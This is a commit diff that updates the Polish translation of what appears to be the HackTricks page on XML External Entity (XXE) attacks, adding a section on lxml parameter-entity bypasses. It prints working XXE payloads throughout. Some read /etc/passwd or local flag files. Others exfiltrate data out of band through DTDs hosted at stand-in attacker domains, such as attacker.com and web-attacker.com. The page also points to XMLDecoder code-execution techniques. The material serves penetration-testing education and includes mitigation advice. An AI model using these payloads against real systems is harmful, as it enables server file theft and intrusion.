Translated ['src/pentesting-web/xxe-xee-xml-external-entity.md'] to pl

This commit is contained in:
Translator 2025-07-12 09:51:30 +00:00
parent 32fecc4ada
commit a00ea4766c

View File

@ -1,5 +1,10 @@
# XXE - XEE - XML External Entity
{{#include /banners/hacktricks-training.md}}
- [Dojo CTF Challenge #42 Hex Color Palette XXE write-up](https://www.yeswehack.com/dojo/dojo-ctf-challenge-winners-42)
- [lxml bug #2107279 Parameter-entity XXE still possible](https://bugs.launchpad.net/lxml/+bug/2107279)
{{#include ../banners/hacktricks-training.md}}
## Podstawy XML
@ -10,13 +15,13 @@ XML to język znaczników zaprojektowany do przechowywania i transportu danych,
- **Definiowanie elementów XML**: XML pozwala na definiowanie typów elementów, określając, jak elementy powinny być zbudowane i jakie treści mogą zawierać, od dowolnego typu treści po konkretne elementy podrzędne.
- **Definicja typu dokumentu (DTD)**: DTD są kluczowe w XML do definiowania struktury dokumentu i typów danych, które może zawierać. Mogą być wewnętrzne, zewnętrzne lub kombinacją, kierując, jak dokumenty są formatowane i walidowane.
- **Własne i zewnętrzne encje**: XML wspiera tworzenie własnych encji w ramach DTD dla elastycznej reprezentacji danych. Zewnętrzne encje, definiowane za pomocą URL, budzą obawy dotyczące bezpieczeństwa, szczególnie w kontekście ataków XML External Entity (XXE), które wykorzystują sposób, w jaki parsery XML obsługują zewnętrzne źródła danych: `<!DOCTYPE foo [ <!ENTITY myentity "value" > ]>`
- **Wykrywanie XXE za pomocą encji parametrów**: Do wykrywania podatności XXE, szczególnie gdy konwencjonalne metody zawodzą z powodu środków bezpieczeństwa parsera, można wykorzystać encje parametrów XML. Te encje pozwalają na techniki wykrywania poza pasmem, takie jak wywoływanie zapytań DNS lub żądań HTTP do kontrolowanej domeny, aby potwierdzić podatność.
- **Wykrywanie XXE za pomocą encji parametrów**: Do wykrywania podatności XXE, szczególnie gdy konwencjonalne metody zawodzą z powodu środków bezpieczeństwa parsera, można wykorzystać encje parametrów XML. Te encje pozwalają na techniki wykrywania poza pasmem, takie jak wywoływanie zapytań DNS lub HTTP do kontrolowanej domeny, aby potwierdzić podatność.
- `<!DOCTYPE foo [ <!ENTITY ext SYSTEM "file:///etc/passwd" > ]>`
- `<!DOCTYPE foo [ <!ENTITY ext SYSTEM "http://attacker.com" > ]>`
## Główne ataki
[**Większość tych ataków była testowana przy użyciu niesamowitych laboratoriów XEE Portswigger: https://portswigger.net/web-security/xxe**](https://portswigger.net/web-security/xxe)
[**Większość tych ataków była testowana przy użyciu wspaniałych laboratoriów XEE Portswigger: https://portswigger.net/web-security/xxe**](https://portswigger.net/web-security/xxe)
### Test nowej encji
@ -49,7 +54,7 @@ Ten drugi przypadek powinien być przydatny do wyodrębnienia pliku, jeśli serw
<!DOCTYPE replace [<!ENTITY example SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd"> ]>
<data>&example;</data>
```
W tym trzecim przypadku zauważamy, że deklarujemy `Element stockCheck` jako ANY.
W tym trzecim przypadku zauważ, że deklarujemy `Element stockCheck` jako ANY.
```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE data [
@ -65,7 +70,7 @@ W tym trzecim przypadku zauważamy, że deklarujemy `Element stockCheck` jako AN
### Lista katalogów
W aplikacjach opartych na **Java** może być możliwe **wylistowanie zawartości katalogu** za pomocą XXE z ładunkiem takim jak (po prostu pytając o katalog zamiast pliku):
W aplikacjach opartych na **Java** może być możliwe **wypisanie zawartości katalogu** za pomocą XXE z ładunkiem takim jak (po prostu pytając o katalog zamiast pliku):
```xml
<!-- Root / -->
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE aa[<!ELEMENT bb ANY><!ENTITY xxe SYSTEM "file:///">]><root><foo>&xxe;</foo></root>
@ -91,7 +96,7 @@ Używając **wcześniej skomentowanej techniki**, możesz sprawić, że serwer u
```
### "Blind" SSRF - Exfiltracja danych poza pasmem
**W tej sytuacji sprawimy, że serwer załaduje nowy DTD z złośliwym ładunkiem, który wyśle zawartość pliku za pomocą żądania HTTP (w przypadku plików wieloliniowych możesz spróbować wyeksportować je za pomocą \_ftp://**\_ używając na przykład tego podstawowego serwera [**xxe-ftp-server.rb**](https://github.com/ONsec-Lab/scripts/blob/master/xxe-ftp-server.rb)**). To wyjaśnienie opiera się na** [**laboratorium Portswigger tutaj**](https://portswigger.net/web-security/xxe/blind)**.**
**W tej sytuacji sprawimy, że serwer załaduje nowy DTD z złośliwym ładunkiem, który wyśle zawartość pliku za pomocą żądania HTTP (w przypadku plików wieloliniowych możesz spróbować wyeksportować je za pomocą \_ftp://**\_ używając na przykład tego podstawowego serwera [**xxe-ftp-server.rb**](https://github.com/ONsec-Lab/scripts/blob/master/xxe-ftp-server.rb)**). To wyjaśnienie opiera się na** [**Portswigger lab tutaj**](https://portswigger.net/web-security/xxe/blind)**.**
W podanym złośliwym DTD przeprowadzane są szereg kroków w celu eksfiltracji danych:
@ -106,16 +111,16 @@ Struktura jest następująca:
```
Kroki wykonywane przez ten DTD obejmują:
1. **Definicja jednostek parametrów:**
- Jednostka parametru XML, `%file`, jest tworzona, odczytując zawartość pliku `/etc/hostname`.
- Inna jednostka parametru XML, `%eval`, jest definiowana. Dynamicznie deklaruje nową jednostkę parametru XML, `%exfiltrate`. Jednostka `%exfiltrate` jest ustawiona na wykonanie żądania HTTP do serwera atakującego, przekazując zawartość jednostki `%file` w ciągu zapytania URL.
2. **Wykonanie jednostek:**
- Jednostka `%eval` jest wykorzystywana, co prowadzi do wykonania dynamicznej deklaracji jednostki `%exfiltrate`.
- Jednostka `%exfiltrate` jest następnie używana, co wyzwala żądanie HTTP do określonego URL z zawartością pliku.
1. **Definicja encji parametru:**
- Encja parametru XML, `%file`, jest tworzona, odczytując zawartość pliku `/etc/hostname`.
- Inna encja parametru XML, `%eval`, jest definiowana. Dynamicznie deklaruje nową encję parametru XML, `%exfiltrate`. Encja `%exfiltrate` jest ustawiona na wykonanie żądania HTTP do serwera atakującego, przekazując zawartość encji `%file` w ciągu zapytania URL.
2. **Wykonanie encji:**
- Encja `%eval` jest wykorzystywana, co prowadzi do wykonania dynamicznej deklaracji encji `%exfiltrate`.
- Encja `%exfiltrate` jest następnie używana, co wyzwala żądanie HTTP do określonego URL z zawartością pliku.
Atakujący hostuje ten złośliwy DTD na serwerze pod swoją kontrolą, zazwyczaj pod adresem URL takim jak `http://web-attacker.com/malicious.dtd`.
**XXE Payload:** Aby wykorzystać podatną aplikację, atakujący wysyła ładunek XXE:
**Ładunek XXE:** Aby wykorzystać podatną aplikację, atakujący wysyła ładunek XXE:
```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://web-attacker.com/malicious.dtd"> %xxe;]>
@ -130,9 +135,9 @@ Ten ładunek definiuje zewnętrzny parametr XML `%xxe` i włącza go w DTD. Gdy
Komunikat o błędzie parsowania XML, ujawniający zawartość pliku `/etc/passwd`, można wywołać za pomocą złośliwego zewnętrznego Definicji Typu Dokumentu (DTD). Osiąga się to poprzez następujące kroki:
1. Definiuje się parametr XML o nazwie `file`, który zawiera zawartość pliku `/etc/passwd`.
2. Definiuje się parametr XML o nazwie `eval`, włączający dynamiczną deklarację dla innego parametru XML o nazwie `error`. Ten byt `error`, po ocenie, próbuje załadować nieistniejący plik, włączając zawartość bytu `file` jako swoją nazwę.
2. Definiuje się parametr XML o nazwie `eval`, włączający dynamiczną deklarację dla innego parametru XML o nazwie `error`. Ten byt `error`, po ocenie, próbuje załadować nieistniejący plik, używając zawartości bytu `file` jako jego nazwy.
3. Wywoływany jest byt `eval`, co prowadzi do dynamicznej deklaracji bytu `error`.
4. Wywołanie bytu `error` skutkuje próbą załadowania nieistniejącego pliku, co produkuje komunikat o błędzie, który zawiera zawartość pliku `/etc/passwd` jako część nazwy pliku.
4. Wywołanie bytu `error` skutkuje próbą załadowania nieistniejącego pliku, co generuje komunikat o błędzie, który zawiera zawartość pliku `/etc/passwd` jako część nazwy pliku.
Złośliwy zewnętrzny DTD można wywołać za pomocą następującego XML:
```xml
@ -167,8 +172,8 @@ Rozważ scenariusz, w którym system plików serwera zawiera plik DTD w `/usr/lo
```
Zarysowane kroki są realizowane przez ten DTD:
- Definicja encji parametru XML o nazwie `local_dtd` zawiera zewnętrzny plik DTD znajdujący się w systemie plików serwera.
- Następuje redefinicja encji parametru XML `custom_entity`, pierwotnie zdefiniowanej w zewnętrznym DTD, aby otoczyć [eksploit XXE oparty na błędach](https://portswigger.net/web-security/xxe/blind#exploiting-blind-xxe-to-retrieve-data-via-error-messages). Ta redefinicja ma na celu wywołanie błędu parsowania, ujawniając zawartość pliku `/etc/passwd`.
- Definicja encji parametru XML o nazwie `local_dtd` obejmuje zewnętrzny plik DTD znajdujący się w systemie plików serwera.
- Następuje redefinicja encji parametru XML `custom_entity`, pierwotnie zdefiniowanej w zewnętrznym DTD, aby otoczyć [eksploit XXE oparty na błędach](https://portswigger.net/web-security/xxe/blind#exploiting-blind-xxe-to-retrieve-data-via-error-messages). Ta redefinicja ma na celu wywołanie błędu analizy, ujawniając zawartość pliku `/etc/passwd`.
- Poprzez zastosowanie encji `local_dtd`, zewnętrzny DTD jest zaangażowany, obejmując nowo zdefiniowaną encję `custom_entity`. Ta sekwencja działań prowadzi do emisji komunikatu o błędzie, który jest celem eksploitu.
**Przykład z życia wzięty:** Systemy korzystające z środowiska graficznego GNOME często mają DTD w `/usr/share/yelp/dtd/docbookx.dtd`, zawierający encję o nazwie `ISOamso`.
@ -188,7 +193,7 @@ Zarysowane kroki są realizowane przez ten DTD:
```
![](<../images/image (625).png>)
Ponieważ ta technika wykorzystuje **wewnętrzny DTD, musisz najpierw znaleźć ważny**. Możesz to zrobić, **instalując** ten sam **system operacyjny / oprogramowanie**, które używa serwer, i **szukając domyślnych DTD**, lub **zbierając listę** **domyślnych DTD** w systemach i **sprawdzając**, czy którykolwiek z nich istnieje:
Ponieważ ta technika wykorzystuje **wewnętrzny DTD, musisz najpierw znaleźć ważny**. Możesz to zrobić, **instalując** ten sam **system operacyjny / oprogramowanie**, którego używa serwer, i **szukając domyślnych DTD**, lub **zbierając listę** **domyślnych DTD** w systemach i **sprawdzając**, czy którykolwiek z nich istnieje:
```xml
<!DOCTYPE foo [
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
@ -221,7 +226,7 @@ Testing 0 entities : []
Aby uzyskać bardziej szczegółowe wyjaśnienie tego ataku, **sprawdź drugą sekcję** [**tego niesamowitego posta**](https://labs.detectify.com/2021/09/15/obscure-xxe-attacks/) **od Detectify**.
Możliwość **przesyłania dokumentów Microsoft Office jest oferowana przez wiele aplikacji internetowych**, które następnie wyodrębniają pewne szczegóły z tych dokumentów. Na przykład, aplikacja internetowa może pozwolić użytkownikom na importowanie danych poprzez przesyłanie arkusza kalkulacyjnego w formacie XLSX. Aby parser mógł wyodrębnić dane z arkusza kalkulacyjnego, niezbędne będzie przetworzenie przynajmniej jednego pliku XML.
Możliwość **przesyłania dokumentów Microsoft Office jest oferowana przez wiele aplikacji webowych**, które następnie wyodrębniają pewne szczegóły z tych dokumentów. Na przykład, aplikacja webowa może pozwalać użytkownikom na importowanie danych poprzez przesyłanie arkusza kalkulacyjnego w formacie XLSX. Aby parser mógł wyodrębnić dane z arkusza kalkulacyjnego, nieuchronnie będzie musiał sparsować przynajmniej jeden plik XML.
Aby przetestować tę podatność, konieczne jest stworzenie **pliku Microsoft Office zawierającego ładunek XXE**. Pierwszym krokiem jest utworzenie pustego katalogu, do którego dokument może zostać rozpakowany.
@ -231,7 +236,7 @@ Zmodyfikowane linie XML powinny być wstawione pomiędzy dwa obiekty XML root. W
Na koniec plik można spakować, aby utworzyć złośliwy plik poc.docx. Z wcześniej utworzonego katalogu "unzipped" należy wykonać następujące polecenie:
Teraz stworzony plik można przesłać do potencjalnie podatnej aplikacji internetowej i można mieć nadzieję, że żądanie pojawi się w logach Burp Collaborator.
Teraz stworzony plik można przesłać do potencjalnie podatnej aplikacji webowej i można mieć nadzieję, że żądanie pojawi się w logach Burp Collaborator.
### Protokół: jar
@ -251,12 +256,12 @@ Proces uzyskiwania dostępu do pliku w archiwum PKZIP za pomocą protokołu jar
4. Odczytywany jest konkretny plik w archiwum, `file.zip`.
5. Po operacji wszelkie tymczasowe pliki utworzone w tym procesie są usuwane.
Interesującą techniką, aby przerwać ten proces na drugim kroku, jest utrzymanie połączenia z serwerem otwartego na czas nieokreślony podczas serwowania pliku archiwum. Narzędzia dostępne w [tym repozytorium](https://github.com/GoSecure/xxe-workshop/tree/master/24_write_xxe/solution) mogą być wykorzystane do tego celu, w tym serwer Python (`slow_http_server.py`) i serwer Java (`slowserver.jar`).
Interesującą techniką przerywania tego procesu na drugim kroku jest utrzymywanie połączenia z serwerem otwartego w nieskończoność podczas serwowania pliku archiwum. Narzędzia dostępne w [tym repozytorium](https://github.com/GoSecure/xxe-workshop/tree/master/24_write_xxe/solution) mogą być wykorzystane do tego celu, w tym serwer Python (`slow_http_server.py`) i serwer Java (`slowserver.jar`).
```xml
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "jar:http://attacker.com:8080/evil.zip!/evil.dtd">]>
<foo>&xxe;</foo>
```
> [!OSTRZEŻENIE]
> [!CAUTION]
> Pisanie plików w tymczasowym katalogu może pomóc w **eskalacji innej podatności, która dotyczy przechodzenia ścieżek** (takiej jak lokalne dołączanie plików, wstrzykiwanie szablonów, XSLT RCE, deserializacja itp.).
### XSS
@ -312,7 +317,7 @@ Then you can try to crack the hash using hashcat
Kiedy integrujesz dane klienta w dokumentach XML po stronie serwera, takich jak te w żądaniach SOAP, bezpośrednia kontrola nad strukturą XML jest często ograniczona, co utrudnia tradycyjne ataki XXE z powodu ograniczeń w modyfikowaniu elementu `DOCTYPE`. Jednak atak `XInclude` oferuje rozwiązanie, pozwalając na wstawienie zewnętrznych encji w dowolnym elemencie danych dokumentu XML. Ta metoda jest skuteczna nawet wtedy, gdy tylko część danych w generowanym przez serwer dokumencie XML może być kontrolowana.
Aby przeprowadzić atak `XInclude`, należy zadeklarować przestrzeń nazw `XInclude`, a ścieżka do zamierzonej zewnętrznej encji musi być określona. Poniżej znajduje się zwięzły przykład, jak taki atak może być sformułowany:
Aby przeprowadzić atak `XInclude`, należy zadeklarować przestrzeń nazw `XInclude` i określić ścieżkę pliku dla zamierzonej zewnętrznej encji. Poniżej znajduje się zwięzły przykład, jak taki atak może być sformułowany:
```xml
productId=<foo xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include parse="text" href="file:///etc/passwd"/></foo>&storeId=1
```
@ -358,7 +363,7 @@ Content-Length: 7
foo=bar
```
W takim razie możesz spróbować wysłać następujące żądanie, uzyskując ten sam wynik:
Wtedy możesz być w stanie złożyć następujące żądanie, z tym samym wynikiem:
```xml
POST /action HTTP/1.0
Content-Type: text/xml
@ -408,7 +413,7 @@ To działa tylko wtedy, gdy serwer XML akceptuje protokół `data://`.
### UTF-7
Możesz użyć \[**"Encode Recipe**" of cyberchef here ]\(\[[https://gchq.github.io/CyberChef/index.html#recipe=Encode_text%28'UTF-7](https://gchq.github.io/CyberChef/#recipe=Encode_text%28'UTF-7) %2865000%29'%29\&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4)to]\([https://gchq.github.io/CyberChef/index.html#recipe=Encode_text%28'UTF-7 %2865000%29'%29\&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4%29to](https://gchq.github.io/CyberChef/#recipe=Encode_text%28%27UTF-7%20%2865000%29%27%29&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4%29to)) do przekształcenia na UTF-7.
Możesz użyć \[**"Encode Recipe**" z cyberchef tutaj ]\(\[[https://gchq.github.io/CyberChef/index.html#recipe=Encode_text%28'UTF-7](https://gchq.github.io/CyberChef/#recipe=Encode_text%28'UTF-7) %2865000%29'%29\&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4)do]\([https://gchq.github.io/CyberChef/index.html#recipe=Encode_text%28'UTF-7 %2865000%29'%29\&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4%29do](https://gchq.github.io/CyberChef/#recipe=Encode_text%28%27UTF-7%20%2865000%29%27%29&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4%29do)) przekształcić na UTF-7.
```xml
<!xml version="1.0" encoding="UTF-7"?-->
+ADw-+ACE-DOCTYPE+ACA-foo+ACA-+AFs-+ADw-+ACE-ENTITY+ACA-example+ACA-SYSTEM+ACA-+ACI-/etc/passwd+ACI-+AD4-+ACA-+AF0-+AD4-+AAo-+ADw-stockCheck+AD4-+ADw-productId+AD4-+ACY-example+ADs-+ADw-/productId+AD4-+ADw-storeId+AD4-1+ADw-/storeId+AD4-+ADw-/stockCheck+AD4-
@ -492,7 +497,7 @@ Content-Type: application/x-xliff+xml
<xliff srcLang="en" trgLang="ms-MY" version="2.0"></xliff>
------WebKitFormBoundaryqBdAsEtYaBjTArl3--
```
Jednakże, to żądanie wywołuje błąd wewnętrzny serwera, konkretnie wspominając o problemie z deklaracjami znaczników:
Jednakże, to żądanie wywołuje błąd wewnętrznego serwera, konkretnie wspominając o problemie z deklaracjami znaczników:
```json
{
"status": 500,
@ -514,9 +519,9 @@ Content-Type: application/x-xliff+xml
<xliff srcLang="en" trgLang="ms-MY" version="2.0"></xliff>
------WebKitFormBoundaryqBdAsEtYaBjTArl3--
```
To podejście ujawnia, że User Agent wskazuje na użycie Java 1.8. Zauważoną ograniczeniem tej wersji Javy jest niemożność pobrania plików zawierających znak nowej linii, takich jak /etc/passwd, przy użyciu techniki Out of Band.
To podejście ujawnia, że User Agent wskazuje na użycie Java 1.8. Zauważoną ograniczeniem tej wersji Java jest niemożność pobrania plików zawierających znak nowej linii, takich jak /etc/passwd, przy użyciu techniki Out of Band.
Error-Based Data Exfiltration Aby przezwyciężyć to ograniczenie, stosuje się podejście oparte na błędach. Plik DTD jest skonstruowany w następujący sposób, aby wywołać błąd, który zawiera dane z docelowego pliku:
Ekstrakcja danych oparta na błędach Aby przezwyciężyć to ograniczenie, stosuje się podejście oparte na błędach. Plik DTD jest skonstruowany w następujący sposób, aby wywołać błąd, który zawiera dane z docelowego pliku:
```xml
<!ENTITY % data SYSTEM "file:///etc/passwd">
<!ENTITY % foo "<!ENTITY &#37; xxe SYSTEM 'file:///nofile/'>">
@ -542,7 +547,7 @@ Poprawny XML w formacie RSS do wykorzystania luki XXE.
### Ping back
Prosta prośba HTTP do serwera atakującego
Prośba HTTP do serwera atakującego
```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE title [ <!ELEMENT title ANY >
@ -609,7 +614,7 @@ Używając filtru base64 w PHP
```
## Java XMLDecoder XEE do RCE
XMLDecoder to klasa Java, która tworzy obiekty na podstawie wiadomości XML. Jeśli złośliwy użytkownik zdoła skłonić aplikację do użycia dowolnych danych w wywołaniu metody **readObject**, natychmiast uzyska wykonanie kodu na serwerze.
XMLDecoder to klasa Java, która tworzy obiekty na podstawie wiadomości XML. Jeśli złośliwy użytkownik zdoła zmusić aplikację do użycia dowolnych danych w wywołaniu metody **readObject**, natychmiast uzyska wykonanie kodu na serwerze.
### Używanie Runtime().exec()
```xml
@ -681,7 +686,62 @@ Zobacz ten niesamowity raport [https://swarm.ptsecurity.com/impossible-xxe-in-ph
https://github.com/luisfontes19/xxexploiter
{{#endref}}
## References
### Python lxml Parameter-Entity XXE (Error-Based File Disclosure)
> [!INFO]
> Biblioteka Pythona **lxml** używa **libxml2** w tle. Wersje przed **lxml 5.4.0 / libxml2 2.13.8** nadal rozwijają *parametry* encji, nawet gdy `resolve_entities=False`, co sprawia, że są one dostępne, gdy aplikacja włącza `load_dtd=True` i/lub `resolve_entities=True`. Umożliwia to ładunki XXE oparte na błędach, które osadzają zawartość lokalnych plików w komunikacie o błędzie parsera.
#### 1. Wykorzystywanie lxml < 5.4.0
1. Zidentyfikuj lub stwórz *lokalny* DTD na dysku, który definiuje **niezdefiniowaną** encję parametru (np. `%config_hex;`).
2. Stwórz wewnętrzny DTD, który:
* Ładuje lokalny DTD z `<!ENTITY % local_dtd SYSTEM "file:///tmp/xml/config.dtd">`.
* Redefiniuje niezdefiniowaną encję tak, aby:
- Odczytywała docelowy plik (`<!ENTITY % flag SYSTEM "file:///tmp/flag.txt">`).
- Budowała inną encję parametru, która odnosi się do **nieprawidłowej ścieżki** zawierającej wartość `%flag;` i wywołuje błąd parsera (`<!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///aaa/%flag;'>">`).
3. Na koniec rozwijaj `%local_dtd;` i `%eval;`, aby parser napotkał `%error;`, nie udało mu się otworzyć `/aaa/<FLAG>` i wyciekł flagę wewnątrz zgłoszonego wyjątku który często jest zwracany użytkownikowi przez aplikację.
```xml
<!DOCTYPE colors [
<!ENTITY % local_dtd SYSTEM "file:///tmp/xml/config.dtd">
<!ENTITY % config_hex '
<!ENTITY % flag SYSTEM "file:///tmp/flag.txt">
<!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///aaa/%flag;'>">
%eval;'>
%local_dtd;
]>
```
Gdy aplikacja drukuje wyjątek, odpowiedź zawiera:
```
Error : failed to load external entity "file:///aaa/FLAG{secret}"
```
> [!TIP]
> Jeśli parser zgłasza problemy z znakami `%`/`&` wewnątrz wewnętrznego podzbioru, podwójnie je koduj (`&#x26;#x25;``%`), aby opóźnić rozwinięcie.
#### 2. Obejście wzmocnienia lxml 5.4.0 (libxml2 wciąż podatny)
`lxml` ≥ 5.4.0 zabrania *parametrów* błędów, takich jak ten powyżej, ale **libxml2** wciąż pozwala na ich osadzanie w *ogólnym* parametrze. Sztuczka polega na:
1. Wczytaniu pliku do parametru `%file`.
2. Zadeklarowaniu innego parametru, który buduje **ogólny** parametr `c`, którego identyfikator SYSTEM używa *nieistniejącego protokołu*, takiego jak `meow://%file;`.
3. Umieszczeniu `&c;` w treści XML. Gdy parser próbuje zrealizować `meow://…`, nie udaje mu się to i odzwierciedla pełny URI w tym zawartość pliku w komunikacie o błędzie.
```xml
<!DOCTYPE colors [
<!ENTITY % a '
<!ENTITY % file SYSTEM "file:///tmp/flag.txt">
<!ENTITY % b "<!ENTITY c SYSTEM 'meow://%file;'>">
'>
%a; %b;
]>
<colors>&c;</colors>
```
#### Kluczowe wnioski
* **Encje parametrów** są nadal rozwijane przez libxml2, nawet gdy `resolve_entities` powinno blokować XXE.
* **Nieprawidłowy URI** lub **nieistniejący plik** wystarczą, aby połączyć kontrolowane dane w zgłoszonej wyjątku.
* Technika działa **bez łączności wychodzącej**, co czyni ją idealną dla ściśle filtrowanych środowisk.
#### Wskazówki dotyczące łagodzenia
* Zaktualizuj do **lxml ≥ 5.4.0** i upewnij się, że podstawowy **libxml2** jest **≥ 2.13.8**.
* Wyłącz `load_dtd` i/lub `resolve_entities`, chyba że jest to absolutnie konieczne.
* Unikaj zwracania surowych błędów parsera do klienta.
## Odniesienia
- [https://media.blackhat.com/eu-13/briefings/Osipov/bh-eu-13-XML-data-osipov-slides.pdf](https://media.blackhat.com/eu-13/briefings/Osipov/bh-eu-13-XML-data-osipov-slides.pdf)
- [https://web-in-security.blogspot.com/2016/03/xxe-cheat-sheet.html](https://web-in-security.blogspot.com/2016/03/xxe-cheat-sheet.html)
@ -692,4 +752,7 @@ https://github.com/luisfontes19/xxexploiter
- [https://portswigger.net/web-security/xxe](https://portswigger.net/web-security/xxe)
- [https://gosecure.github.io/xxe-workshop/#7](https://gosecure.github.io/xxe-workshop/#7)
- [Dojo CTF Challenge #42 Hex Color Palette XXE write-up](https://www.yeswehack.com/dojo/dojo-ctf-challenge-winners-42)
- [lxml bug #2107279 Encja-parametr XXE nadal możliwa](https://bugs.launchpad.net/lxml/+bug/2107279)
{{#include ../banners/hacktricks-training.md}}